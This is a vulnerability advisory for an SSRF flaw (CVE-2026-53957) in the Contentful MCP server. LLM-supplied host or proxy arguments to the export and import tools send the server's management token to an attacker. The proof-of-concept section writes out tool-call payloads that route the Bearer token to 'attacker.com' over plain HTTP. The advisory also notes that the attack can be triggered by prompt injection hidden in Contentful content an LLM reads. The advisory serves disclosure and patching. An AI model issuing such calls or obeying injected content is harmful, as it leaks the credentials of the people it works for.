CVE-2026-53957: @contentful/mcp-server SSRF via LLM-Controlled host/proxy Parameters
The Contentful MCP server lets an LLM supply a custom host or proxy address to the space export and import tools, causing the server to send its own Contentful management token to an…

The problem
The export_space and import_space tools spread all LLM-controlled arguments, including host, proxy, rawProxy, and insecure, directly into the options object passed to contentful-export and contentful-import. Those libraries forward the merged options to the Contentful Management API SDK, which builds its base URL from the attacker-supplied host and attaches the server's Personal Access Token as Authorization: Bearer on every outgoing request.
Every other tool in the server calls createToolClient, which pins host to config.host and ignores LLM input. Only the two migration tools diverge by calling createClientConfig, which extracts only the token, then spread ...args on top, leaving host unguarded. The vulnerable Zod schema explicitly marks host, proxy, rawProxy, and insecure as optional parameters, so the LLM sees them as valid inputs.
Exploitation is possible via direct MCP tool call or via prompt injection into any Contentful entry the LLM reads.
Proof of concept
A working proof-of-concept for CVE-2026-53957 in @contentful/mcp-server, with the exact payload below.
// Step 1 – enable the disabled-by-default migration tools
{
"name": "space_to_space_migration_handler",
"arguments": { "action": "enable" }
}
// Step 2a – host vector: redirects all CMA requests (including Authorization: Bearer <PAT>)
// to attacker.com over plain HTTP
{
"name": "export_space",
"arguments": {
"spaceId": "victim-space-id",
"environmentId": "master",
"host": "attacker.com",
"insecure": true
}
}
// Step 2b – proxy vector: routes CMA traffic through attacker proxy in plaintext
{
"name": "export_space",
"arguments": {
"spaceId": "victim-space-id",
"environmentId": "master",
"proxy": "attacker.com:8080",
"rawProxy": true,
"insecure": true
}
}The root cause is an unsafe object spread in exportSpace.ts (lines 126-141) and importSpace.ts (lines 103-119). The pattern is: exportOptions = { ...args, managementToken, ... }, where args is the raw LLM tool input. Because createClientConfig discards config.host, the server-pinned hostname is never applied, and args.host flows unchecked into the Contentful Management SDK's createClient call, which sets baseURL = (insecure ?
'http' : 'https') + '://' + host + '/spaces/...' and attaches Authorization: Bearer <PAT> to every request.
The insecure: true parameter forces HTTP, enabling plaintext capture without a TLS certificate on the attacker side. The proxy + rawProxy: true vector skips the httpsAgent builder and passes the proxy object directly to axios, so the full request including the Authorization header traverses the attacker proxy in plaintext.
The patch (commit fa7477ee, PR #376) strips host, proxy, rawProxy, and insecure from args before the spread, mirroring the hardened pattern already used by all other tools via createToolClient. CWE-918 (SSRF) and CWE-441 (Unintended Proxy or Intermediary) both apply.
The fix
Upgrade @contentful/mcp-server to 1.7.19 or @contentful/mcp-tools to 0.4.5. The patch (commit fa7477ee, PR #376) explicitly removes host, proxy, rawProxy, and insecure from the args spread before those args are merged into exportOptions or importOptions, ensuring only the server-configured host is ever passed to the CMA SDK.
Related research
- high · 8.6CVE-2026-56677CVE-2026-56677: 9router Unauthenticated SSRF via OIDC Test Endpoint
- highCVE-2026-35219CVE-2026-35219: Budibase Server SSRF via Automation Steps Bypassing IP Blacklist
- highCVE-2026-69257CVE-2026-69257: Flowise SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses
- highCVE-2026-69192CVE-2026-69192: ip-address Address4 Leading-Zero Octet SSRF Bypass